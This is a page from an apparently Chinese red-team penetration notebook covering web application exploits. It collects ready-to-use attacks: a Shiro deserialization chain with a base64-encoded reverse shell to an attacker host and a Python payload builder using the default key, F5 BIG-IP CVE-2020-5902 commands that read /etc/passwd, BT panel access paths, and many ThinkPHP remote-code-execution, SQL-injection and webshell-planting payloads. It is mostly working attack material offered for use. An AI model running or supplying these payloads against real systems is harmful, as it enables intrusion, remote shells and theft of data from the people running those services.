📜
PENETRATION NOTE
  • About
    • Readme
  • 收集信息
    • IP和端口信息
      • ASN
      • NMAP使用
      • 工具
      • 历史IP
    • 域名信息
      • CDN是否存在
      • 绕过CDN
      • DNS历史记录
      • SSL证书信息
      • Whois信息
    • 子域名检查
    • 网站架构和指纹识别
    • 人员信息
    • 其他信息
  • 初始访问
    • Web服务突破
      • 前端
      • SQL注入
        • 判断注入
        • 数据库类型识别
        • MSSQL
        • MYSQL
        • Oracle
        • PostgreSQL
        • SQLite
        • DB2
        • SQLMAP
      • XSS
      • CSRF
      • SSRF
      • XML
      • Xpath注入
      • SSTI
      • 命令执行
      • 命令注入
      • Fuzz目录
      • CmdHijack
      • 数据库
      • PHPstudy后门
      • PHP包含下载读取
      • PHP FPM之RCE
      • PHPMyAdmin利用
      • 绕过WAF
      • DNSLOG
      • IIS写权限
    • 未授权访问
      • hadoop
      • memcache
      • mongo
      • Redis
      • zookeeper
      • activemq
      • docker
      • elastic
      • jboss
      • VNC
      • Weblogic
      • Zabbix
      • CouchDB
      • Jenkins
      • Solr
    • 一些Bypass
      • Linux绕过disable_function
      • Open_basedir绕过
      • Windows系统组件com绕过
      • 常规函数绕过
      • 蚁剑绕过
      • cgi启动方式
      • ImageMagick组件绕过
    • 鱼叉式攻击
      • 钓鱼邮件
      • 钓鱼连接
      • 第三方鱼叉
    • 近源攻击
      • WI-FI破解
      • 无线干扰
      • 钓鱼网络
      • 克隆卡
      • 蓝牙
      • BadUSB
    • MySQL不登陆执行命令
    • MySQL开启外联
    • MySQL连接读取文件
    • MSSQL&Agent之Job上线
    • TomcatAjp之LFI&RCE
  • 防御规避
    • C#源码免杀
      • 直接编译
      • 加密处理
      • CSC+InstallUtil
      • XOR和AES编码
    • Powershell免杀
      • 直接生成
      • 行为检测
      • 分块免杀
      • 拆分+C编译
      • CobaltStrike+Powershell免杀
      • obfuscation
      • Out-EncryptedScript
      • PyFuscation
      • Xencrypt
      • Invoke-Shellcode
    • Python源码免杀
      • pyinstaller加载C代码编译
      • pyinstaller加载py代码编译
      • 加载器分离
      • Base64编码+Pyinstaller打包
    • MSF+shellcode免杀
      • nps_payload
      • 编码器
      • c和c++源码免杀
    • 加载器免杀
      • shellcode_launcher
      • SSI加载
    • GreatSCT
    • hanzoInjection
    • InstallUtil
    • MSBuilt
    • MSF捆绑
    • Mshta
    • Phantom-Evasion
    • RC4
    • Ruby
    • Shellter
    • the backdoor factory
    • Veil
    • zirikatu
    • 捆绑器
    • avet
    • carboncopy
    • c代码加载图片马
    • DLL劫持
    • Evasion模块
    • Golang
  • 权限提升
    • Windows提权
      • RDP&Firewall
        • RDP连接记录
        • 注册表开启
        • 注入点开启
        • MSF开启
        • wmic开启
        • 防火墙
        • 爆破RDP
        • 多用户登陆
        • 删除痕迹
      • impactet工具包
      • Windows exploit suggester
      • Searchsploit
      • watson
      • 激活guest
      • MSF
      • 本机文件和脚本
      • BypassUAC
      • AppLocker
      • PowerUp
      • Powerup AlwaysInstallElevated
      • AlwaysInstallElevated提权
      • MSSQL
      • MYSQL udf
      • PrintNightmare
      • HiveNightmare
      • Wesng
      • CVE-2020-1472
      • DNS组到DomainAdmin
      • SeImpersonatePrivilege
      • SpoolFool
      • Trusted Service Paths
      • Vulnerable Services
      • Whitelist白名单
      • 令牌窃取
      • 密码窃取
      • 弱注册表权限
      • RottenPotato
      • JuicyPotato
      • RoguePotato
      • EFSPotato
      • Runas
      • SamAccountSpoofing
      • SeBackupPrivilege
      • DLL劫持
      • WSL子系统
      • 不安全的GUI应用程序
      • 从administrator到system
      • 打印机漏洞
      • 服务中的不正确权限
      • 环境变量优先
      • 恢复服务帐户的权限
      • 弱权限的PATH目录
      • 特权文件写入
      • 未引用的服务路径
    • Linux提权
      • MYSQL Linux Root
      • 可写文件提权
      • Sudo提权
      • 查找辅助信息
      • 查找可能泄露的密码
      • 环境变量提权
      • 漏洞提权
      • 通配符提权
      • 一些检测工具
      • MYSQL漏洞
      • LD_Preload提权
      • Linux Exploit Suggester
      • LinuxSUID提权
      • Linux计划任务
      • Lxd提权
  • 文件操作
    • 传输
      • php
      • powershell
      • py
      • scp
      • vbs
      • wget
      • bitsadmin
      • certutil
      • curl
      • ftp
      • js
      • nc
      • perl
    • 创建
    • Windows查找文件
    • Linux查找文件
    • 查找可写目录
    • 解压
    • 压缩
  • 内网和域
    • 信息搜集
      • Windows安全标识符SID
      • 临时HTTP服务架设
      • Cmd
      • Wmi
      • Powershell基础操作
      • Powerview
      • Linux
      • ADDomain
      • BloodHoundAD
    • 端口映射和转发
      • iptables
      • lcx
      • msf
      • netsh
      • ssf
      • ssh
      • Ligolo
      • chisel
    • 命令与控制
      • Metasploit
        • 常规使用
        • 细节使用
        • meterpreter
        • 模块
        • 与cs和empire交互
      • CobaltStrike
        • 安装
        • 部署
        • 连接
        • 监听
        • 模块
        • 交互
        • 攻击模块
        • 视图模块
        • Beacon
        • 钓鱼邮件
        • 隔离网络
        • 权限维持
        • 代理
        • Malleable C2
        • 部署VPN
        • 横向移动
        • 加载脚本
        • 克隆
        • 浏览器劫持
        • 与msf和empire交互
        • 上线提醒
        • office宏
      • Empire
        • 安装
        • 生成
        • 监听
        • 模块
        • 连接靶机及其他操作
        • 权限提升
        • 横向移动
        • 后门
        • 与cs和msf交互
        • Empire_Word
      • 下载并执行
      • DNS TXT Command
      • Dropbox
      • Gmail
      • Jsrat
      • koadic
      • Openssl
      • Powershell
      • SILENTTRINITY
      • telegram
      • 反弹shell
      • 交互式shell
      • browser
      • crackmap
      • 工具
      • dnscat
  • HASH操作
    • mimikatz
      • mimikatz
      • mimipenguin
      • Powershell_Bypass
      • Procdump64+mimikatz
      • SqlDumper+mimikatz
      • 调用mimikatz远程抓取
      • 横向批量抓HASH
      • 绕过卡巴斯基
      • 远程LSASS进程转储 Physmem2profit
      • Cisco_Jabber转储lsass
      • dotnet2.0
      • dotnet4.0Msbuild
      • Dumpert
      • JScript
    • 域HASH提取
      • NTDSDumpex
      • Ntdsutil
      • Powersploit
      • Vssadmin
      • Wmivssadmin
      • impacket工具包
      • mimikatz
      • MSF
      • esentutl
      • Nishang脚本
    • 缓存HASH获取
      • Quarks pwdump
      • 注册表
      • Ninjacopy
    • 获取其他密码
      • foxmail
      • navicat
      • seatbelt
      • securecrt
      • vncpass
      • chrome
      • firefox
    • 破解工具
      • medusa
      • hydra
    • GoogleColab破解HASH
    • Invoke Dcsync
    • laZagne
    • MSF
    • QuarksPwDump
    • 开启Wdigest
    • 密码策略
    • 密码破解网站
    • Empire
    • Getpass
  • 横向移动
    • 探测存活主机
      • For+Ping命令查询存活主机
      • NbtScan
      • NetDiscover
      • NMAP
      • rp scan
      • 代理nmap扫描
      • 内外网资产对应
      • MSF
    • 探测服务&端口
      • 常见端口
      • MSF
      • Nc
      • Powershell
      • PTScan
      • SMB
      • CobaltStrike+K8Aggressor
      • Linux_Samba服务
      • Masscan
    • 执行命令&IPC&计划任务
      • AT
      • IPC
      • Schtasks
      • Wmic
    • 代理
      • goproxy
      • shadowsocks
      • sock4a
      • socks5
      • socks5web
      • ssf
      • ssh
      • 代理软件
      • chisel
      • earthworm
      • revsocks
      • Gost
      • gotohttp
      • rustdesk
      • frp
    • NTLM中继和中间人攻击
      • Ntlmrelayx+资源受限委派
      • Responder/LLMNR毒害
      • DNS Poisonning
      • MS08-068 NTLM反射
      • RemotePotato0
      • SMB签名禁用和IPv4
      • SMB签名禁用和IPv6
      • WebDav中继
      • 捕获和破解Net NTLMv1和NTLMv1哈希
      • CVE-2019-1040
      • CVE-2019-1384
    • ActiveDirectory的ACL和ACE
      • GenericAll
      • GenericWrite
      • WriteDACL
      • WriteOwner
      • 读取GMSA密码
      • 读取LAPS密码
      • 强制更改密码
    • ActiveDirectory证书服务
      • ESC1-配置错误的证书模板
      • ESC2-配置错误的证书模板
      • ESC3-配置错误的注册代理模板
      • ESC4-访问控制漏洞
      • ESC6-EDITF_ATTRIBUTESUBJECTALTNAME2
      • ESC7-易受攻击的证书颁发机构访问控制
      • ESC8-ADCS中继攻击
      • Pass-The-Certificate
      • 查找证书服务器
      • 经过认证的CVE-2022-26923
    • DCOM-Exploitation
      • DCOM
      • 通过MMC应用程序类进行DCOM
      • 通过Office进行DCOM
      • 通过ShellBrowserWindow进行DCOM
      • 通过ShellExecute进行DCOM
    • Kerberoasting
      • 申请票据
      • 破解密码
      • 导出票据
      • SPN发现
      • GetUserSPNs
      • 重写票据
    • MSF添加路由
    • Ngrok内网穿透
    • PASS-THE-HASH
    • PASS-THE-TICKET
    • PASS-THE-KEY
    • 组策略对象GPO
    • WinRM无文件执行
    • 方程式内网不产生session
    • 隔离主机payload
    • 攻击MSSQL数据库
    • 攻击MySQL数据库
    • 共享
    • 获取保存的RDP密码
    • 快速定位域管理登过的机器
    • 添加域管命令
    • ASEPRoasting
    • CVE-2019-0708
    • GPP-Password
    • MS08_067
    • MS17_010
    • MSF管道监听
    • 账户委派
    • 资源受限委派
    • 域内爆破
    • 危险的内置组使用
    • 域与域
    • kerberos青铜比特攻击CVE-2020-17049
    • kerberos无约束委派
    • kerberos约束委派
    • 基于kerberos资源的约束委派
    • PrivExchange攻击
    • PXE启动映像攻击
    • RODC-只读域控制器入侵
    • WSUS部署
    • SCCM部署
  • 权限维持
    • Windows
      • 关闭防病毒软件
      • 启动文件夹
      • DLL劫持计划任务
      • DLL注入
      • DSRM+注册表ACL后门
      • Empire
      • Guest激活
      • HookPasswordChangeNotify
      • Invoke ADSBackdoor
      • Invoke Tasks后门&权限维持
      • Kerberoasting后门
      • Metsvc
      • MOF
      • Shadow-Credentials
      • ADS&JavaScript
      • ADS隐藏webshell
      • Bitadmin
      • CLR Injection
      • COM OBJECT hijacking
      • DCShadow&SIDHistory
      • DCSync后门
      • DLL代理劫持右键
      • DLL劫持
      • Persistence
      • RID劫持
      • rootkit
      • RPC后门
      • S4U2Self后门
      • Skeleton Key万能钥匙
      • Squibledoo
      • Windows FAX DLL Injection
      • WinRM端口复用
      • WMIC事件订阅
      • WMI Persistence
      • 创建服务
      • 登录初始化
      • MSSQL后门
      • Netsh Helper DLL
      • NPPSpy记录密码
      • NSSM
      • Password Filter DLL
      • 添加签名
      • 通过控制面板加载项维持权限
      • 通过自定义.net垃圾回收机制进行DLL注入
      • 唯一IP访问
      • 影子用户
      • 映像劫持
      • 注入SSP被动收集密码
      • 基于域策略文件权限后门
      • 计划任务
      • 进程注入
      • 使用AMSI扫描接口维持权限
      • 受限委派后门
    • Linux
      • apt后门
      • bash rc
      • Kbeast_rootkit
      • Linux cron后门
      • OpenSSH后门
      • Reptile
      • SSHD后门
      • SSH wrapper后门
      • SSH公私钥登录
      • Strace记录ssh密码
      • SUID Shell
      • 进程注入
      • 文件处理
      • 用户启动文件
      • 启动项服务后门
      • 后门驱动程序
      • IPTables端口复用
    • web服务&中间件
      • Java
      • Nginx
      • Apache
      • IIS
  • 赏金技巧
    • TOP系列
      • Top25LFI参数
      • Top25RCE参数
      • Top25ssrf
      • Top25重定向dorks
    • 一行命令
      • 一条正则命令获取私钥或密码
      • 使用grep快速去除垃圾数据
    • 字典
      • 从站点生成字典
      • 来自github的字典
      • 已泄露的密码整理出的字典
      • loT高频率账户密码
      • 查找git和svn的字典
    • 403 bypass
    • CMS
    • favico信息
    • Github
    • git和svn
    • sql注入检测
    • 参数污染
    • 测试是否存在heartbleed漏洞
    • 命令注入Bypass
    • 配置错误的云存储桶
    • 通过.json的信息泄露
    • 未认证的ElasticsearchDB
    • 子域名接管
    • 2FA双因子认证绕过
    • 绕过登录限制
  • 云安全
    • GCP
      • 初始访问
      • 枚举
      • 权限维持
      • 特权升级和横向移动
    • AWS
      • AWS的服务
      • 工具
      • 初始访问
      • 枚举
      • 权限提升
      • 权限维持
      • 将EBS卷挂载到EC2Linux
      • 禁用CloudTrail
      • 使用AMI映像复制EC2
      • 通过API密钥获得AWS控制台访问权限
      • 通过混淆Cloudtrail日志和GuardDuty来掩盖踪迹
      • Golden SAML Attack
      • InstanceConnect 将SSH密钥推送到EC2实例
      • Lambda 提取函数的代码
      • Shadow Copy attack
      • SSM 命令执行
      • 动态数据库
    • Azure
      • 侦察工具
      • 枚举
      • 钓鱼
      • 非法同意
      • 向所有EnterpriseApplications添加凭据
      • 为AzureWeb应用程序生成SSH
      • Azure存储Blob
      • Pass-The-PRT
      • Pass-The-Certificate
      • Intunes管理
      • 动态组成员资格
      • Administrative Unit
      • 部署模板
      • 应用程序代理
      • 条件访问
      • 令牌
      • 自动化runbook
      • 虚拟机runCommand
      • KeyVault
      • AzureAD
      • AzureAD连接
    • Aliyun
      • osskey
    • Docker
      • 未授权API
      • 权限维持
      • 逃逸
    • kubernetes
      • 未授权API
      • 枚举
      • 权限提升
      • 定时任务
    • 工具
  • Redteam红队
    • Web类
      • web程序漏洞
      • 编辑器漏洞
      • 默认密码
      • wso2
      • 从LFI到RCE
      • 深x服
      • 天r信
      • 邮件地址payload
      • Web server日志分析命令
    • 免杀技巧
      • cshot远程shellcode
      • Pezor免杀
      • 内存中解码shellcode绕过av
      • 一些可尝试绕过白名单的执行
      • 在Windows Server 2016和2019中绕过WindowsDefender
      • 绕过安全狗脚本
      • 360白名单
      • Bypass AMSI
    • Bypass技巧
      • Bypass mod_security
      • 绕过lsa protection
    • 系统类
      • ImportDLLInjection 通过修改内存中的PE头来注入DLL的另一种方法
      • 动态调用进程注入逻辑
      • 父进程破坏
      • 进程挖空(MitreT1055.012)
      • 使用WindowsDefender下载文件
      • 通过挂起EventLog服务线程禁用Windows事件日志
      • 隐藏windows服务
      • 远程解压文件
由 GitBook 提供支持
在本页

这有帮助吗?

  1. Redteam红队
  2. Web类

web程序漏洞

上一页Web类下一页编辑器漏洞

最后更新于2年前

这有帮助吗?

Shiro

Shiro rememberMe反序列化漏洞

Shiro相关转自bypass公众号
https://github.com/insightglacier/Shiro_exploit
python shiro_exploit.py -u http://192.168.172.129:8080
image
通过获取到的key,常见的漏洞利用方式有两种:反弹shell和写入文件。
反弹shell
监听本地端口
nc -lvp 1234
Java Runtime 配合 bash 编码,在线编码地址:
http://www.jackson-t.ca/runtime-exec-payloads.html
将bash -i >& /dev/tcp/192.168.172.133/1234 0>&1编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
使用shiro.py 生成Payload
python shiro.py 192.168.172.133:6666
shiro.py代码如下
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)    
BS = AES.block_size    
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")    
iv = uuid.uuid4().bytes    
encryptor = AES.new(key, AES.MODE_CBC, iv)    
file_body = pad(popen.stdout.read())    
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    
return base64_ciphertext
if __name__ == '__main__':
   payload = encode_rememberme(sys.argv[1])
   print "rememberMe={0}".format(payload.decode())
构造数据包,伪造cookie,发送Payload。
写入文件
生成poc.ser文件
sudo java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
使用Shiro内置的默认密钥对Payload进行加密:
package shiro;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestRemember {
public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("d://poc.ser"));
        	AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
        ByteSource ciphertext = aes.encrypt(payloads, key);        System.out.printf(ciphertext.toString());    }}

Shiro Padding Oracle Attack

登录Shiro网站,从cookie中获得rememberMe字段的值
利用DNSlog探测,通过ysoserial工具payload。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class
使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。
java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath
https://github.com/longofo/PaddingOracleAttack-Shiro-721
使用构造的rememberMe攻击字符串重新请求网站
一键自动化漏洞利用工具
https://github.com/feihong-cs/ShiroExploit

shiro权限绕过

/;/test/admin/page

F5 BIG IP

F5 BIG-IP TMUI RCE(CVE-2020-5902)

https://raw.githubusercontent.com/jas502n/CVE-2020-5902/master/CVE-2020-5902.py
RCE
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
读文件
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
执行Linux命令
/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
/fileSave.jsp?fileName=/tmp/cmd&content=id
/tmshCmd.jsp?command=list+/tmp/cmd
/tmshCmd.jsp?command=delete+cli+alias+private+list

宝塔

未授权访问

宝塔Linux面板7.4.2版本
宝塔Linux测试版7.5.13
Windows面板6.8版本
直接访问http://your_ip:888/pma

提权

https://github.com/Hzllaga/BT_Panel_Privilege_Escalation

ThinkPHP

Thinkphp 5

开启debug下的数据库连接
tp5.0.*在debug模式下如果在数据交互点构造如sql注入、空参数等方式使数据库查询等出错,在一定情况下可能导致数据库账号密码直接显示出来。(报错信息太细了不仔细容易忽略掉)
在debug模式下找注入点也可以通过报错语句进行构造,并且由于debug模式可能导致本来没有回显的注入变成报错注入。当然目标数据库无法外连的时候,这个注入就挺有用的了。
关于log文件的利用
log文件是runtime/log目录下的,比较常见的路径类似:
/runtime/log/2020001/01.log ,默认是启用的,关于该文件主要有以下三点利用方式。
1.关于http请求的部分
常见的log文件会记录http请求,如果对应的站点存在后台等登陆,可以通过记录请求中的cookie登陆后台。
2.关于构造sql注入
某些配置下日志还会记录sql语句的执行和报错,可以用于构造sql注入,但是一般这种利用比较少,需要先找到数据交互点然后和日志中记录的赋值以及报错一一对应。
3.关于cache文件名
tp下通过缓存文件获取webshell是一个老生常谈的问题,白盒下理论上都说得通,但是实际上在使用该漏洞的时候是存在部分难点的,如生成cache文件的方式,cache文件名等。
在log文件中可能存在cache文件生成时的报错,这样可以确定目标tp的cache文件命名方式等,举个例子:
在某次渗透中目标tp的log文件。
可以注意到这里由于生成缓存文件出错,导致直接将缓存文件的文件名输出。根据输出的缓存文件名去猜测生成规则,由于tp5的缓存文件命名默认是md5(value),所以大部分时候可以把文件名等带进value进行比对。
这里通过猜测和比对确定是view的文件绝对路径生成的cache文件名。
一般来说使用php原生的md5函数去生成md5比较稳妥,笔者为了方便直接在线加密的。
这里基本上就排除了cache getshell的一大难题。之后正常去寻找能进库的交互点,比如发帖,留言这种,就能想办法获取webshell了。
tp5路由
thinkphp系列的官方开发文档是期望网站运维人员将public设置为web根目录,即使用./public/index.php作为入口文件。在实际的渗透过程中由于thinkphp是框架涉及很多二次开发,部分开发人员会选择自定义一个入口文件而不置于public目录下,如/var/www/html/index.php的形式。这里会涉及到打exp的路由问题,由于部分开发人员自定的入口文件可能导致调用的路径出现差异。
一般来说打exp的时候尽量使用./public/index.php来打,以下列exp为例:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
可能会出现例如:
http://xxx/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://xxx/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://xxx/index.php?s=\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
所以很多时候不是打一个exp无效就代表没洞,在黑盒测试的时候可能只是没有找对路由。
下面是实战中的案例:
可以看到如果以常规的exp进行测试是返回方法不存在的,因为原生路由被二次开发修改了,所以最终代码执行的payload如下:
5.0.*和5.1.*
相对来说5.0可利用的exp比较5.1要多一些,5.1主要的利用方式还是上面举例用的exp。
App.php出现问题的代码如下:
其实就是把反斜杠认定为类名,最终使得类实例化,具体的分析在这里就不拿出来水字数了。
而在渗透的过程中大的思路其实是差不多的,尝试多种exp,尝试读log文件等,可以通过简单比对两个版本的目录结构在没有其他信息的情况下判断版本。
TP5:
TP5.1:
如果网站不是以/public/作为根目录的话,又没通过报错直接体现版本的,可以通过访问目录看目录是否存在来做判断比如访问./thinkphp/,这里不推荐通过/app/目录来做判断,因为笔者遇到过很多开发者会修改这个目录,比方说改成/apps/,/applications/,也就无法准确判断是5.1还是5.0。
tp3的渗透思路
tp3 关于log文件相关的利用同上,目录一般为./Application/Runtime/logs/xxx/xx_xx_xx.log ,其中xxx为app名,文件名为年_月_日.log,如:
Application\Runtime\Logs\Home\16_09_09.log。
sql注入
tp3的sql注入指的是框架层面的注入问题,即二次开发的时候如果调用了model内的find, delete, select方法的话,就可能出现注入问题。
对于白盒测试而言,只要model.class.php没修复然后找到调用了方法的地方就可以挖掘到注入。
以select方法简单做个分析。
Model.class.php
函数可以接受一个options参数,为了构成注入肯定是要进入到_parseOptions方法,也就是要绕过两次判断,也就是只要传输的options为数组,同时主键不是数组,就能进到_parseOptions方法。
可以看到传入options['table']或options['alias']且设置options['where']值为字符串,最终会options直接返回,整个过程是没有过滤的,然后进到ThinkPHP\Libray\Think\Db\Diver.class.php,进到select方法。
可以看到sql语句是最后的parseSql生成的。
跟进到parseWhere方法,只要绕过if,最终的return的sql语句是直接拼接的,也就是注入的产生原因,会直接带入select方法执行。
黑盒测试也比较类似,一般情况下找到数据库交互点后进行注入尝试即可。
cache写shell
cache写webshell的难点在于cache文件名的确定,一般情况下是md5(绝对路径)生成的cache文件,上文也提到某些情况下可以通过log文件确定cache文件名称
cache文件写入的时候会被注释,所以需要通过%0d%0a提行绕过注释。
所以最终的payload一般为:

%0d%0aeval($_POST['cmd']);%0d%0a//
找到参数影响页面的点后通过传参写入webshell,本地可以复现,实战中倒是没遇到过。
tp3渗透主要思路
tp3的渗透在实战中利用的点比较少,所以一般而言遇到tp3的目标,最主要的思路在于找log,然后通过log去看有没有后台之类的,相对来说较一起会比对框架的注入,cache写shell等靠谱。
tp3 关于log文件相关的利用同tp5,目录一般为./Application/Runtime/logs/xxx/xx_xx_xx.log ,其中xxx为app名,文件名为年_月_日.log,如:
Application\Runtime\Logs\Home\16_09_09.log,文件名的格式可能会有变化,多尝试一下一般也能找到。
tp6的新型问题
tp6的利用链
关于model.php的__destruct()方法调用其他类__tostring()方法的文已经有人发过了,但是文中把poc打码了,这里简单跟一下。
将对象的lazySave属性设置为True进入save方法:
然后进updateData方法:
在checkAllowFields方法中调用db方法,图中方法中框起来的语句是可以拼接的,只需要将这两个属性中的一个设置为类对象,即可触发对象的__toString方法。之后的利用方式和tp5.*相同。
接着与tp5.*后的gadget是一致的,最终目的是要这个效果实现代码执行。
接下来是构造poc,由于测试利用链,笔者手写了一个unserialize。
然后通过Dido1960大佬的poc代码生成payload。
poc参见:
https://github.com/Dido1960/thinkphp/blob/master/v6.0.x/poc/poc.php
该利用链需求一个反序列化的可控点,二次开发在使用unserialize后可能导致代码执行。同时也可能利用该问题构成一个tp6的后门,如已经通过其他方式获取服务器权限,则可在某些地方加入unserialize函数实现反序列化的一个后门。
所有poc
Thinkphp5 rce poc
利用工具
https://github.com/wh1t3p1g/phpggc
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
thinkphp 5.0.22
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5
5、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
thinkphp 5.0.21
6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5.1.*
8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
11、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
12、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
未知版本
16、?s=index/\think\module/action/param1/${@phpinfo()}
17、?s=index/\think\Module/Action/Param/${@phpinfo()}
18、?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
19、index.php?s=/home/article/view_recent/name/1'
header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
20、index.php?s=/home/shopcart/getPricetotal/tag/1%27
21、index.php?s=/home/shopcart/getpriceNum/id/1%27
22、index.php?s=/home/user/cut/id/1%27
23、index.php?s=/home/service/index/id/1%27
24、index.php?s=/home/pay/chongzhi/orderid/1%27
25、index.php?s=/home/pay/index/orderid/1%27
26、index.php?s=/home/order/complete/id/1%27
27、index.php?s=/home/order/complete/id/1%27
28、index.php?s=/home/order/detail/id/1%27
29、index.php?s=/home/order/cancel/id/1%27
30、index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+
31、POST /index.php?s=/home/user/checkcode/ HTTP/1.1
Content-Disposition: form-data; name="couponid"
1') union select sleep('''+str(sleep_time)+''')#
thinkphp 5.0.23(完整版)debug模式
32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
thinkphp 5.0.23(完整版)
33、(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
thinkphp 5.0.10(完整版)
34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system
thinkphp 5.1.* 和 5.2.* 和 5.0.*
35、(post)public/index.php (data)c=exec&f=calc.exe&_method=filter
Thinkphp5 注入 poc
需开启app_debug
http://yoursite/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
http://localhost:8000/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
http://localhost:8000/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)#
http://localhost:8000/index/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#
http://localhost:8000/index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
http://localhost:8000/index/index/index?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
Thinkphp5 文件包含 poc
5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10
创建 application/index/view/index/index.html 文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马 1.jpg 放至 public 目录下(模拟上传图片操作)。接着访问 	http://localhost:8000/index/index/index?cacheFile=demo.php 链接,即可触发 文件包含漏洞 。
Thinkphp5 代码执行poc
5.0.0<=ThinkPHP5<=5.0.10
http://localhost/tpdemo/public/?username=mochazz123%0d%0a@eval($_GET[_]);//
http://localhost:8000/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
写shell进日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
&
写shell进session
POST /?s=captcha HTTP/1.1
Cookie: PHPSESSID=kking
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
&
包含session getshell
